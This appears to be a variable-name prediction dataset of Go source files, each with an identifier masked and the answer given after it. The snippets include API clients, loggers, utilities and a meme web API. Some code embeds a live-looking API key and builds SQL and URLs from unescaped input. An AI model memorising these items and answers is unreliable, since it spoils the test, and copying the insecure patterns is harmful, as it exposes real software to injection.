return nil, err } res, err := http.DefaultClient.Do(req) if err != nil { return nil, err } defer res.Body.Close() resBody, err := io.ReadAll(res.Body) if err != nil { return nil, err } if res.StatusCode < 200 || res.StatusCode >= 300 { return nil, fmt.Errorf(""%s: please check that your DD_API_KEY, DD_APP_KEY and DD_SITE env vars are set correctly and that your account has profiles matching your query"", res.Status) } return resBody, nil } // limitConcurrency blocks until a slot is available in the concurrency channel. // It returns a function that should be called to release the slot. func (c *Client) limitConcurrency() func() { c.concurrency <- struct{}{} return func() { <-c.concurrency } } // SearchQuery holds the query parameters for searching for profiles. type SearchQuery struct { Filter SearchFilter `json:""filter""` Sort SearchSort `json:""sort""` Limit int `json:""limit""` } // SearchFilter holds the filter parameters for searching for profiles. type SearchFilter struct { From JSONTime `json:""from""` To JSONTime `json:""to""` Query string `json:""query""` } // SearchSort holds the sort parameters for searching for profiles. type SearchSort struct { Order string `json:""order""` Field string `json:""field""` } // timeFormat is the time format used by the Datadog API. const timeFormat = ""2006-01-02T15:04:05.999999999Z"" // JSONTime is a time.Time that marshals to and from JSON in the format used by // the Datadog API. type JSONTime struct { time.Time } // MarshalJSON marshals the time in the format used by the Datadog API. func (t JSONTime) MarshalJSON() ([]byte, error) { return json.Marshal(t.String()) } // UnmarshalJSON unmarshals the time from the format used by the Datadog API. func (t *JSONTime) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } parsed, err := time.Parse(timeFormat, s) if err != nil { return err } t.Time = parsed return nil } // String returns the time in the format used by the Datadog API. func (t JSONTime) String() string { return t.Time.UTC().Round(time.Second).Format(timeFormat) } // SearchProfile holds information about a profile search result. ProfileID and // EventID are used to identify the SearchProfile for downloading. The other // fields are just logged for debugging. type SearchProfile struct { Service string CPUCores float64 ProfileID string EventID string Timestamp time.Time Duration time.Duration } ",reqBody 743,"package main import ( ""html/template"" ""net/http"" ""path"" ""fmt"" ""./decoders"" ""log"" ""io/ioutil"" ""bytes"" ""strings"" ""math/rand"" ""strconv"" ""time"" ) //""Google"" : ""https://www.googleapis.com/geolocation/v1/geolocate?key="", /* Str holds the returned strings from the JSON decoder functions */ var Str struct{ OWL string IPaddr string Timezone string LatLng string IpSearch string MapData string Pokemon string Url string } var StrRand string /* Channels for handling the goroutines that initiate the GET function of http on the API url */ var ipChan = make(chan []byte) var ipSeachChan = make(chan []byte) var timeZoneChan = make(chan []byte) var owlChan = make(chan []byte) var latLngChan = make(chan []byte) var pokeChan = make(chan []byte) /* API url map. Searchable string identifiers for functionality in loops */ var URLS = map[string]string{ ""IP"" : ""https://api.ipify.org?format=json"", ""IpSearch"" : ""http://ip-api.com/json/"" + Str.IPaddr, ""Gtimezone"" : ""https://maps.googleapis.com/maps/api/timezone/json?location=58.1626388,7.9878993×tamp=1490978678&key="", ""OWL"": ""http://api.openweathermap.org/data/2.5/weather?id=6453405&units=metric&appid=a0a5cd928b34063b9443cfea27292270"", ""Pokemon"": ""http://pokeapi.co/api/v2/pokemon/42/"", } /* main starts the application, handles HTTP requests and initiates the appropriate functions */ func main() { http.HandleFunc(""/"", homepage) http.HandleFunc(""/FormattedJson"", searchBox) http.HandleFunc(""/AltSubmit"", formInputHandler) http.HandleFunc(""/maps"", maps) http.ListenAndServe("":8008"", nil) } /* homepage displays the initial index and layout html */ func homepage(w http.ResponseWriter, r *http.Request) { lp := path.Join(""templates"", ""layout.html"") fp := path.Join(""templates"", ""index.html"") // Note that the layout file must be the first parameter in ParseFiles tmpl, err := template.ParseFiles(lp, fp) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if err := tmpl.Execute(w, ""test""); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) } } /* searchbox handles text input, if blank it loops through the URLS map Further development needed for specifying each URL if it fits the input */ func searchBox(w http.ResponseWriter, r *http.Request) { r1 := rand.NewSource(time.Now().UnixNano()) rand := rand.New(r1) StrRand = strconv.FormatInt(rand.Int63n(500),10) + ""/"" //fmt.Println(StrRand) URLS[""Pokemon""] = ""http://pokeapi.co/api/v2/pokemon/"" + StrRand //fmt.Println(URLS[""Pokemon""]) r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) // attention: If you do not call ParseForm method, the following data can not be obtained form //fmt.Println(r.Form) // print information on server side. name := r.Form.Get(""input"") //fmt.Println(name) if name == """" { //for i := 0; i < len(URLS); i++ { //go getJSON(URLS) for key := range URLS { //ipChan <- key if key == ""IP"" { i := URLS[key] go getJSON(i) } else if key == ""IpSearch"" { i := URLS[key] go getJSON(i) } else if key == ""Gtimezone"" { i := URLS[key] //go getJSON(i) go getJSON(i) } else if key == ""OWL"" { i := URLS[key] go getJSON(i) //getJSON(fmt.Sprintf(i, Str.LatLng)) } else if key == ""Pokemon"" { i := URLS[key] go getJSON(i) } } /* Get the channel data when it is available and input it to variables for further decoding */ ip := <- ipChan ipSearch := <- ipSeachChan latLng := <- latLngChan timeZ := <- timeZoneChan owl := <- owlChan pokemon := <- pokeChan Str.IPaddr = decoders.DecodeIP(ip) Str.IpSearch = decoders.DecodeIpSearch(ipSearch) Str.OWL = decoders.DecodeOWL(owl) Str.LatLng = decoders.GetIpLatLng(latLng) Str.Timezone = decoders.DecodeTimeZone(timeZ) Str.Pokemon = decoders.DecodePokemon(pokemon) //fmt.Println(Str) lp := path.Join(""templates"", ""index.tmpl"") tp := path.Join(""templates"", ""layout.html"") t, pErr := template.ParseFiles(lp, tp) if pErr != nil { panic(pErr) } pErr = t.Execute(w, Str) if pErr != nil { http.Error(w, pErr.Error(), http.StatusInternalServerError) } } else { /* Loads default template, so that if one of the variables are not called they just load default if testers sets the template to correct when called if true. */ ipTemp := path.Join(""templates"", ""dynamicIndex.tmpl"") ipsTemp := path.Join(""templates"", ""dynamicIndex.tmpl"") timeTemp := path.Join(""templates"", ""dynamicIndex.tmpl"") owlTemp := path.Join(""templates"", ""dynamicIndex.tmpl"") pokeTemp := path.Join(""templates"", ""dynamicIndex.tmpl"") /* Splits the inputs with semicolon and itterates over the split string */ splitString := strings.Split(name, "";"") setMap := make(map[string]bool) for _, v := range splitString { setMap[v] = true } for key, value := range setMap { if value == true { i := URLS[key] go getJSON(i) } if value == true && key == ""IP"" { ip := <- ipChan Str.IPaddr = decoders.DecodeIP(ip) ipTemp = path.Join(""templates"", ""IP.tmpl"") } if value == true && key == ""IpSearch"" { ipSearch := <- ipSeachChan latLng := <- latLngChan Str.IpSearch = decoders.DecodeIpSearch(ipSearch) Str.LatLng = decoders.GetIpLatLng(latLng) ipsTemp = path.Join(""templates"", ""IpSearch.tmpl"") } if value == true && key == ""Gtimezone"" { timeZ := <- timeZoneChan Str.Timezone = decoders.DecodeTimeZone(timeZ) timeTemp = path.Join(""templates"", ""timezone.tmpl"") } if value == true && key == ""OWL"" { owl := <- owlChan Str.OWL = decoders.DecodeOWL(owl) owlTemp = path.Join(""templates"", ""owl.tmpl"") } if value == true && key == ""Pokemon"" { pokemon := <- pokeChan Str.Pokemon = decoders.DecodePokemon(pokemon) pokeTemp = path.Join(""templates"", ""pokemon.tmpl"") } //fmt.Println(Str) tp := path.Join(""templates"", ""dynamicIndex.tmpl"") t, pErr := template.ParseFiles(tp,ipTemp, ipsTemp, timeTemp, owlTemp, pokeTemp) if pErr != nil { panic(pErr) } pErr = t.Execute(w, Str) if pErr != nil { http.Error(w, pErr.Error(), http.StatusInternalServerError) } } } } func maps(w http.ResponseWriter, r *http.Request) { r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) // attention: If you do not call ParseForm method, the following data can not be obtained form fmt.Println(r.Form) // print information on server side. Str.MapData = r.Form.Get(""place"") [MASK] := strings.Replace(Str.MapData, "" "", ""+"", -1) if len( [MASK] ) <= 0 {Str.MapData = ""UIA+Kristiansand""} lp := path.Join(""templates"", ""index.tmpl"") tp := path.Join(""templates"", ""layout.html"") t, pErr := template.ParseFiles(lp, tp) if pErr != nil { panic(pErr) } pErr = t.Execute(w, Str) if pErr != nil { http.Error(w, pErr.Error(), http.StatusInternalServerError) } } /* getJSON does a get request to corresponding URL to the URLS map and set the content to a channel */ func getJSON(url string) { response, err := http.Get(url) if err != nil { log.Fatal(err) } else { defer response.Body.Close() contents, err := ioutil.ReadAll(response.Body) if err != nil { log.Fatal(err) } fmt.Println(""The calculated length is:"", len(string(contents)), ""for the url:"", url) fmt.Println("" StatusCode "", response.StatusCode) /* hdr := response.Header for key, value := range hdr { fmt.Println("" "", key, "":"", value,) } fmt.Println(""response Body:"", string(contents)) fmt.Printf(""%q"", contents) */ if url == URLS[""Gtimezone""] { timeZoneChan <- contents } if url == URLS[""OWL""] { owlChan <- contents } if url == URLS[""IP""] { ipChan <- contents } if url == URLS[""IpSearch""] { ipSeachChan <- contents latLngChan <- contents } if url == URLS[""Pokemon""]{ pokeChan <- contents } } } func getGoogle(url string) { //response, err := http.Get(url) // handle err var jsonStr = []byte(`{ ""macAddress"": ""00:25:9c:cf:1c:ac"", ""signalStrength"": -43, ""age"": 0, ""channel"": 11, ""signalToNoiseRatio"": 0 }`) req, err := http.NewRequest(""POST"", url, bytes.NewBuffer(jsonStr)) //req.Header.Set(""X-Custom-Header"", ""myvalue"") //req.Header.Set(""Content-Type"", ""application/json"") client := &http.Client{} resp, err := client.Do(req) if err != nil { panic(err) } defer resp.Body.Close() fmt.Println(""response Status:"", resp.Status) fmt.Println(""response Headers:"", resp.Header) body, _ := ioutil.ReadAll(resp.Body) fmt.Println(""response Body:"", string(body)) fmt.Printf(""%q"", body) go decoders.GogleDecoder(body) } /* Concept for handling multiple input buttons ###Only concept, not working. Further development needed### */ func formInputHandler(w http.ResponseWriter, r *http.Request) { r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) // attention: If you do not call ParseForm method, the following data can not be obtained form //fmt.Println(r.Form) // print information on server side. if r.Form.Get(""input"") == ""Praat-Comparison"" { fmt.Println(""check"") //searchBox(w,r) } else if r.Form.Get(""inputText"") != """" { r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) // attention: If you do not call ParseForm method, the following data can not be obtained form //fmt.Println(r.Form) // print information on server side. urlText := r.Form.Get(""inputText"") var byte bytes.Buffer byte.WriteString(""http://172.16.58.3:8080/speech?text="" + urlText) if r.Form.Get(""pitch"") != """" { byte.WriteString(""&pitch="" + r.Form.Get(""pit ch"")) //<0, 99; default 50>] } if r.Form.Get(""speed"") != """" { byte.WriteString(""&speed="" + r.Form.Get(""speed"")) //<80,450; default 175 wpm>] } if r.Form.Get(""voice"") != """" { byte.WriteString(""&voice="" + r.Form.Get(""voice"")) //] } Str.Url= byte.String() lp := path.Join(""templates"", ""layout.html"") tp := path.Join(""templates"", ""audioPlayer.tmpl"") t, pErr := template.ParseFiles(lp, tp) if pErr != nil { panic(pErr) } pErr = t.Execute(w,Str) if pErr != nil { http.Error(w, pErr.Error(), http.StatusInternalServerError) } } } ",newplace 744,"package datasize import ( ""fmt"" ""strings"" ) type ByteSize int64 const ( B ByteSize = 1 // for computer storage StorageSpan ByteSize = 1000 KB ByteSize = StorageSpan * B // kilobyte MB ByteSize = StorageSpan * KB // megabyte GB ByteSize = StorageSpan * MB // gigabyte TB ByteSize = StorageSpan * GB // terabyte PB ByteSize = StorageSpan * TB // petabyte EB ByteSize = StorageSpan * PB // exabyte // for computer memory MemorySpan ByteSize = 1024 KiB ByteSize = MemorySpan * B // kibibyte MiB ByteSize = MemorySpan * KiB // mebibyte GiB ByteSize = MemorySpan * MiB // gibibyte TiB ByteSize = MemorySpan * GiB // tebibyte PiB ByteSize = MemorySpan * TiB // pebibyte EiB ByteSize = MemorySpan * PiB // exbibyte ) // New new a ByteSize from byte size func New(n int64) ByteSize { return ByteSize(n) } func (bs ByteSize) KB() float64 { return float64(bs) / float64(KB) } func (bs ByteSize) MB() float64 { return float64(bs) / float64(MB) } func (bs ByteSize) GB() float64 { return float64(bs) / float64(GB) } func (bs ByteSize) TB() float64 { return float64(bs) / float64(TB) } func (bs ByteSize) PB() float64 { return float64(bs) / float64(PB) } func (bs ByteSize) EB() float64 { return float64(bs) / float64(EB) } // float2String float64 to string, func float2String( [MASK] float64) string { s := fmt.Sprintf(""%.3f"", [MASK] ) return strings.TrimRight(strings.TrimRight(s, ""0""), ""."") } // String1 show unit by StorageSpan(1000) func (bs ByteSize) String1() string { if bs >= EB { return fmt.Sprintf(""%sEB"", float2String(bs.EB())) } if bs >= PB { return fmt.Sprintf(""%sPB"", float2String(bs.PB())) } if bs >= TB { return fmt.Sprintf(""%sTB"", float2String(bs.TB())) } if bs >= GB { return fmt.Sprintf(""%sGB"", float2String(bs.GB())) } if bs >= MB { return fmt.Sprintf(""%sMB"", float2String(bs.MB())) } if bs >= KB { return fmt.Sprintf(""%sKB"", float2String(bs.KB())) } return fmt.Sprintf(""%d"", bs) } func (bs ByteSize) KiB() float64 { return float64(bs) / float64(KiB) } func (bs ByteSize) MiB() float64 { return float64(bs) / float64(MiB) } func (bs ByteSize) GiB() float64 { return float64(bs) / float64(GiB) } func (bs ByteSize) TiB() float64 { return float64(bs) / float64(TiB) } func (bs ByteSize) PiB() float64 { return float64(bs) / float64(PiB) } func (bs ByteSize) EiB() float64 { return float64(bs) / float64(EiB) } // String1 show unit by MemorySpan(1024) func (bs ByteSize) String2() string { if bs > EiB { return fmt.Sprintf(""%sEiB"", float2String(bs.EiB())) } if bs > PiB { return fmt.Sprintf(""%sPiB"", float2String(bs.PiB())) } if bs > TiB { return fmt.Sprintf(""%sTiB"", float2String(bs.TiB())) } if bs > GiB { return fmt.Sprintf(""%sGiB"", float2String(bs.GiB())) } if bs > MiB { return fmt.Sprintf(""%sMiB"", float2String(bs.MiB())) } if bs > KiB { return fmt.Sprintf(""%sKiB"", float2String(bs.KiB())) } return fmt.Sprintf(""%d"", bs) } ",value 745,"package server import ( ""bytes"" ""errors"" ""fmt"" ""log"" ""strings"" ""time"" ""github.com/imroc/req"" ""github.com/ronething/music-push/config"" ) const netEaseBase = ""https://music.163.com/#/song?id="" type NetEaseRank struct { Pre string } type NetEaseTracks struct { Name string `json:""name""` ID int `json:""id""` Ar []struct { ID int `json:""id""` Name string `json:""name""` Tns []interface{} `json:""tns""` Alias []interface{} `json:""alias""` } `json:""ar""` Al struct { ID int `json:""id""` Name string `json:""name""` PicURL string `json:""picUrl""` Tns []interface{} `json:""tns""` PicStr string `json:""pic_str""` Pic int64 `json:""pic""` } `json:""al""` Dt int `json:""dt""` PublishTime int64 `json:""publishTime""` } type NetEasePlayList struct { Tracks []NetEaseTracks `json:""tracks""` TrackNumberUpdateTime int64 `json:""trackNumberUpdateTime""` SubscribedCount int `json:""subscribedCount""` TrackCount int `json:""trackCount""` CommentThreadID string `json:""commentThreadId""` TrackUpdateTime int64 `json:""trackUpdateTime""` PlayCount int64 `json:""playCount""` Description string `json:""description""` Name string `json:""name""` ID int `json:""id""` ShareCount int `json:""shareCount""` UpdateTime int64 `json:""updateTime""` CoverImgIDStr string `json:""coverImgId_str""` CommentCount int `json:""commentCount""` } type NetEasePlayListDetail struct { Code int `json:""code""` Playlist NetEasePlayList `json:""playlist""` } func (n *NetEaseRank) getNetEaseHost() string { return config.Config.GetString(""netease.host"") } // 云音乐飙升榜前 10 func (n *NetEaseRank) GetTop10() (string, error) { resp, err := req.Get(fmt.Sprintf(""%s/playlist/detail?id=19723756&s=0"", n.getNetEaseHost())) if err != nil { return """", err } var p NetEasePlayListDetail if err = resp.ToJSON(&p); err != nil { return """", err } var [MASK] int var tracks []NetEaseTracks updateTime := time.Unix(p.Playlist.UpdateTime/1000, 0) update := updateTime.Format(""2006-01-02"") now := time.Now().Format(""2006-01-02"") log.Printf(""update is %v, now is %v, n.Pre is %v\n"", update, now, n.Pre) if now != update || n.Pre == now { // 要么是不是当天,要么就已经是更新过了的 return """", errors.New(""get top 10 err"") } if len(p.Playlist.Tracks) >= 7 { [MASK] = 7 } else if len(p.Playlist.Tracks) <= 0 { return """", errors.New(""tracks empty"") } else { [MASK] = len(p.Playlist.Tracks) } for i := 0; i < [MASK] ; i++ { tracks = append(tracks, p.Playlist.Tracks[i]) } var content bytes.Buffer content.WriteString(fmt.Sprintf(""云音乐飙升榜 (%s)\n\n"", now)) for i := 0; i < len(tracks); i++ { var artist []string ar := tracks[i].Ar if len(ar) > 0 { for j := 0; j < len(ar); j++ { artist = append(artist, ar[j].Name) } } else { artist = append(artist, ""none"") } content.WriteString(fmt.Sprintf(""%d. %s - %s %s\n"", i+1, tracks[i].Name, strings.Join(artist, ""/""), fmt.Sprintf(""%s%d"", netEaseBase, tracks[i].ID), )) } return content.String(), nil } ",length 746,"package main import ( ""bufio"" ""encoding/csv"" ""fmt"" ""log"" ""os"" ""strconv"" ""strings"" ""github.com/simon3z/golang-bugzilla"" // cspell:disable-line ) var cmdFlags = struct { BugzillaURL string BugzillaUsername string BugzillaPassword string }{} func main() { scan := bufio.NewScanner(os.Stdin) cmdFlags.BugzillaURL = os.Getenv(""BZURL"") cmdFlags.BugzillaUsername = os.Getenv(""BZUSER"") cmdFlags.BugzillaPassword = os.Getenv(""BZPASS"") bz, err := bugzilla.NewClient(cmdFlags.BugzillaURL, cmdFlags.BugzillaUsername, cmdFlags.BugzillaPassword) if err != nil { log.Fatalln(err) } w := csv.NewWriter(os.Stdout) w.Comma = '\t' w.Write([]string{ ""ID"", ""Product"", ""Component"", ""Assignee"", ""Status"", ""Summary"", ""Pillar"", ""Severity"", ""Target Release"", ""Cases"", }) for scan.Scan() { line := scan.Text() id, err := strconv.Atoi(line) if err != nil { log.Println(""cannot parse:"", err) continue } bugInfo, err := bz.BugInfo(id, &bugzilla.BugInfoOptions{IncludeFields: []string{""_default"", ""external_bugs""}}) if err != nil { log.Println(""cannot get bug info:"", err) continue } //fmt.Println(bugInfo) w.Write([]string{ fmt.Sprintf(""=HYPERLINK(\""%s/%d\"", \""%d\"")"", cmdFlags.BugzillaURL, id, id), shortString(bugInfo[""product""].(string), 30), bugInfo[""component""].([]interface{})[0].(string), bugInfo[""assigned_to""].(string), bugInfo[""status""].(string), shortString(bugInfo[""summary""].(string), 50), bugInfo[""cf_internal_whiteboard""].(string), bugInfo[""severity""].(string), bugInfo[""target_release""].([]interface{})[0].(string), // fmt.Sprintf(""%#v"", bugInfo[""external_bugs""].([]interface{})), countExternalBugs(bugInfo[""external_bugs""]), }) w.Flush() } if scan.Err() != nil { log.Fatalln(scan.Err()) } } func countExternalBugs( [MASK] interface{}) string { cases := []string{} for _, i := range [MASK] .([]interface{}) { ii := i.(map[string]interface{}) typ := ii[""type""].(map[string]interface{}) if typ[""type""].(string) == ""SFDC"" { cases = append(cases, fmt.Sprintf(""=HYPERLINK(\""%s\"", \""%s\"")"", strings.ReplaceAll(typ[""full_url""].(string), ""%id%"", ii[""ext_bz_bug_id""].(string)), ii[""ext_bz_bug_id""].(string))) } } if len(cases) == 1 { return cases[0] } else if len(cases) > 1 { return fmt.Sprintf(""#%d cases"", len(cases)) } return """" } func shortString(s string, n int) string { if len(s) > n { return s[:n-1] + ""…"" } return s } ",extbz 747,"package logging import ( ""fmt"" ""sync"" ""time"" ) const ( LevelError = iota // LevelError 错误 LevelWarning // LevelWarning 警告 LevelInfo // LevelInfo 提示 LevelDebug // LevelDebug 除错 LevelPanic //LevelPanic 极端错误 ) var ( GloabLevel = LevelInfo levelPrefix = []string{""ERROR: "",""WARNING:"",""INFO: "",""DEBUG: "",""Panic: ""} mu sync.Mutex ) func Println(level int, msg string) { mu.Lock() defer mu.Unlock() _, _ = fmt.Printf( ""%s %s %s\n"", levelPrefix[level], time.Now().Format(""2006-01-02 15:04:05""), msg, ) } // Panic 极端错误 func Panic(format string, v ...interface{}) { msg := fmt.Sprintf(format, v...) Println(LevelPanic, msg) panic(msg) } // Error 错误 func Error(format string, v ...interface{}) { if LevelError > GloabLevel { return } msg := fmt.Sprintf(format, v...) Println(LevelError, msg) } // Warning 警告 func Warning(format string, v ...interface{}) { if LevelWarning > GloabLevel { return } msg := fmt.Sprintf(format, v...) Println(LevelWarning, msg) } // Info 信息 func Info(format string, v ...interface{}) { if LevelInfo >GloabLevel { return } msg := fmt.Sprintf(format, v...) Println(LevelInfo, msg) } // Debug 校验 func Debug(format string, v ...interface{}) { if LevelDebug > GloabLevel { return } msg := fmt.Sprintf(format, v...) Println(LevelDebug, msg) } func SetLevel(level string) { [MASK] := LevelInfo switch level { case ""error"": [MASK] = LevelError case ""warning"": [MASK] = LevelWarning case ""info"": [MASK] = LevelInfo case ""debug"": [MASK] = LevelDebug } GloabLevel = [MASK] }",intLevel 748,"/* Copyright (C) 2019 : SPDX-License-Identifier: WTFPL */ package main import ( ""bufio"" ""crypto/md5"" ""encoding/hex"" ""fmt"" ""io"" ""io/ioutil"" ""os"" ""strings"" ) func readfile(filename string) [][]string { file, err := os.Open(filename) var lines [][]string if err != nil { panic(err) } defer file.Close() reader := bufio.NewReader(file) for { line, _, err := reader.ReadLine() if err == io.EOF { break } lines = append(lines, strings.Split(string(line), "" "")) } return lines } func check(hash string, file string) { [MASK] , _ := ioutil.ReadFile(file) hasher := md5.New() hasher.Write( [MASK] ) file_hash_string := hex.EncodeToString(hasher.Sum(nil)) if hash != file_hash_string { fmt.Printf(""%s hash is invalid:\t is %s and should be %s\n"", file, hash, file_hash_string) } else { fmt.Printf(""."") } } func main() { var hash_table [][]string filename := os.Args[1] hash_table = readfile(filename) for _, file_to_check := range hash_table { check(file_to_check[0], file_to_check[len(file_to_check)-1]) } } ",Readfile 749,"package liblog import ( ""fmt"" ""io"" ""os"" ""runtime"" ""strings"" ""time"" ) type fieldCollection []Field func (f fieldCollection) String() string { var s []string for _, item := range f { s = append(s, fmt.Sprintf(""%s=%q"", item.Key(), fmt.Sprintf(""%v"", item.Value()))) } r := strings.Join(s, "", "") if len(r) > 0 { return ""("" + r + "")"" } return """" } type logger struct { outWriter io.Writer errWriter io.Writer wd string optMinLevel Level optInDev bool optDisableWrites bool name string fields fieldCollection } func newLogger(outWriter, errWriter io.Writer, minLevel Level) *logger { wd, err := os.Getwd() if err != nil { _, _ = fmt.Fprintf(errWriter, ""liblog: failed to get working directory: %v\n"", err) } return &logger{ outWriter: outWriter, errWriter: errWriter, wd: wd, optMinLevel: minLevel, optInDev: true, } } func (l *logger) clone() *logger { return &logger{ outWriter: l.outWriter, errWriter: l.errWriter, wd: l.wd, optMinLevel: l.optMinLevel, optInDev: l.optInDev, optDisableWrites: l.optDisableWrites, name: l.name, fields: l.fields, } } func (l *logger) Named(name string) Logger { clone := l.clone() if len(clone.name) == 0 { clone.name = name } else { clone.name += ""."" + name } return clone } func (l *logger) With(fields ...Field) Logger { clone := l.clone() clone.fields = append(clone.fields, fields...) return clone } func (l *logger) Sync() error { return nil } func (l *logger) log(level Level, msg string, fields fieldCollection) { if l.optDisableWrites { return } if level < l.optMinLevel { return } [MASK] := time.Now().Format(""2006-01-02 15:04:05.999 Z07:00"") for len( [MASK] ) < 30 { [MASK] += "" "" } levelStr := level.String() for len(levelStr) < 6 { levelStr += "" "" } var nameStr string if len(l.name) > 0 { nameStr = l.name + "" "" } var callerStr string _, frameF, frameL, defined := runtime.Caller(2) if !defined { _, _ = fmt.Fprintf(l.errWriter, ""liblog: failed to get caller. runtime.Caller couldn't recover the information needed\n"") } else { if len(l.wd) > 0 && l.wd != ""/"" && strings.HasPrefix(frameF, l.wd) { frameF = strings.TrimPrefix(frameF, l.wd) frameF = strings.TrimPrefix(frameF, ""/"") } callerStr = fmt.Sprintf(""%s:%d "", frameF, frameL) } s := fmt.Sprintf(""%s %s %s%s%s %s\n"", [MASK] , levelStr, nameStr, callerStr, msg, append(l.fields, fields...).String()) if _, err := fmt.Fprintf(l.outWriter, s); err != nil { _, _ = fmt.Fprintf(l.errWriter, ""liblog: writing of message %q failed due to: %v"", s, err) } } func (l *logger) Debug(msg string, fields ...Field) { l.log(DebugLevel, msg, fields) } func (l *logger) Info(msg string, fields ...Field) { l.log(InfoLevel, msg, fields) } func (l *logger) Warn(msg string, fields ...Field) { l.log(WarnLevel, msg, fields) } func (l *logger) Error(msg string, fields ...Field) { l.log(ErrorLevel, msg, fields) } // FormatToError is a public helper function that converts msg and fields info // into a combined error. Intended for Logger.ErrorReturn func FormatToError(name string, callerSkip int, msg string, fields ...Field) error { var nameStr string if len(name) > 0 { nameStr = name + "": "" } wd, _ := os.Getwd() var caller string _, frameF, frameL, defined := runtime.Caller(callerSkip + 1) if defined { if len(wd) > 0 && wd != ""/"" && strings.HasPrefix(frameF, wd) { frameF = strings.TrimPrefix(frameF, wd) frameF = strings.TrimPrefix(frameF, ""/"") } caller = fmt.Sprintf(""%s:%d: "", frameF, frameL) } fieldsStr := fieldCollection(fields).String() if len(fieldsStr) > 0 { fieldsStr = "" "" + fieldsStr } return fmt.Errorf(""%s%s%s%s"", nameStr, caller, msg, fieldsStr) } func (l *logger) ErrorReturn(msg string, fields ...Field) error { l.log(ErrorLevel, msg, fields) return FormatToError(l.name, 1, msg, append(l.fields, fields...)...) } func (l *logger) DPanic(msg string, fields ...Field) { l.log(DPanicLevel, msg, fields) if l.optInDev { panic(msg) } } func (l *logger) Panic(msg string, fields ...Field) { l.log(PanicLevel, msg, fields) panic(msg) } func (l *logger) Fatal(msg string, fields ...Field) { l.log(FatalLevel, msg, fields) os.Exit(1) } // StdOption is an option function for NewStd and MustNewStd type StdOption func(*logger) error // DisableLogWrites fully disables the logger instance. No message is written // to the OutWriter and ErrWriter. func DisableLogWrites() StdOption { return func(log *logger) error { log.optDisableWrites = true return nil } } // OutWriter lets you set the destination for the default logging output func OutWriter(w io.Writer) StdOption { return func(log *logger) error { log.outWriter = w return nil } } // ErrWriter lets you set the destination for errors that happened inside the // standard logger itself (which at the moment can only happen if the OutWriter // returns an error on writing) func ErrWriter(w io.Writer) StdOption { return func(log *logger) error { log.errWriter = w return nil } } // MinLevel sets the minimum needed level for messages that get written to // OutWriter. Messages below this level will get discarded func MinLevel(minLevel Level) StdOption { return func(log *logger) error { log.optMinLevel = minLevel return nil } } // IsInDevEnvironment influences whether DPanicLevel panics or not func IsInDevEnvironment(isInDevEnvironment bool) StdOption { return func(log *logger) error { log.optInDev = isInDevEnvironment return nil } } // NewStd creates a new Logger using only Go's standard library. This can // be useful for packages that want to include liblog, and provide logging // output by default, but not overstuff their library with third-party // dependencies. func NewStd(opts ...StdOption) (Logger, error) { log := newLogger(os.Stdout, os.Stderr, DebugLevel) for _, opt := range opts { if err := opt(log); err != nil { return nil, err } } return log, nil } // MustNewStd is like NewStd, but panics if one of the StdOption cannot be // applied. func MustNewStd(opts ...StdOption) Logger { l, err := NewStd(opts...) if err != nil { panic(err) } return l } ",timeStr 750,"package main import ( ""fmt"" ) // ListNode ... // Definition for singly-linked list. type ListNode struct { Val int Next *ListNode } func (head *ListNode) String() string { next := head s := fmt.Sprintf(""%d"", next.Val) for next.Next != nil { next = next.Next s += fmt.Sprintf("" %d"", next.Val) } return s } /** * Definition for singly-linked list. * type ListNode struct { * Val int * Next *ListNode * } */ func reorderList(head *ListNode) { if head == nil { return } size := getSize(head) if size <= 2 { return } [MASK] := size / 2 prev := head target := getLastNode(head) last := moveAfter(target, prev) moveStep := 1 for moveStep < [MASK] { prev = target.Next target = last last = moveAfter(last, prev) moveStep++ } } func getSize(head *ListNode) int { next := head size := 1 for next.Next != nil { next = next.Next size++ } return size } func getLastNode(head *ListNode) *ListNode { next := head for next.Next != nil { next = next.Next } return next } func moveAfter(target *ListNode, prev *ListNode) *ListNode { if target == prev { panic(""target and prev cannot be same object"") } next := prev for next.Next != nil { if next.Next == target { next.Next = target.Next break } next = next.Next } target.Next = prev.Next prev.Next = target return next } func main() { head := &ListNode{Val: 1} head.Next = &ListNode{Val: 2} head.Next.Next = &ListNode{Val: 3} head.Next.Next.Next = &ListNode{Val: 4} head.Next.Next.Next.Next = &ListNode{Val: 5} head.Next.Next.Next.Next.Next = &ListNode{Val: 6} head.Next.Next.Next.Next.Next.Next = &ListNode{Val: 7} // head.Next.Next.Next.Next.Next.Next.Next = &ListNode{Val: 8} fmt.Println(head) reorderList(head) fmt.Println(head) } ",totalStep 751,"package memecontrollers import ( ""crypto/sha1"" ""encoding/hex"" ""fmt"" ""meme/models"" ""github.com/kataras/iris/v12"" ""github.com/kataras/iris/v12/context"" _ ""log"" ""github.com/jmoiron/sqlx"" _ ""github.com/lib/pq"" ) func InitializeEndpoints(app *iris.Application, db *sqlx.DB, verifyMiddleWare context.Handler) { //get all memes app.Get(""/memes"", verifyMiddleWare, func(ctx iris.Context) { memes := []models.Meme{} err := db.Select(&memes, ""SELECT * FROM funny_memes"") if err != nil { fmt.Println(err) return } ctx.JSON(memes) }) // create meme app.Post(""/create_memes"", verifyMiddleWare, func(ctx iris.Context) { var user_params models.CreateMeme err := ctx.ReadJSON(&user_params) if err != nil { ctx.StatusCode(iris.StatusBadRequest) ctx.JSON(iris.Map{""error"": err.Error()}) return } _, err = db.NamedExec(`INSERT INTO funny_memes (creator, url) VALUES (:creator, :url)`, user_params) if err != nil { ctx.StatusCode(iris.StatusBadRequest) ctx.JSON(iris.Map{""error"": err.Error()}) return } ctx.JSON(iris.Map{""message"": ""Meme Created Successfully""}) }) //delete a meme app.Delete(""/delete_meme"", verifyMiddleWare, func(ctx iris.Context) { var user_params models.DeleteMeme err := ctx.ReadJSON(&user_params) var count int err2 := db.QueryRow(fmt.Sprint(""SELECT COUNT(*) from funny_memes where id ="", user_params.ID)).Scan(&count) if err != nil { ctx.StatusCode(iris.StatusBadRequest) ctx.JSON(iris.Map{""error"": err.Error()}) return } if count == 0 { ctx.StatusCode(iris.StatusInternalServerError) ctx.JSON(iris.Map{""error"": ""no meme with given id""}) return } if err2 != nil { 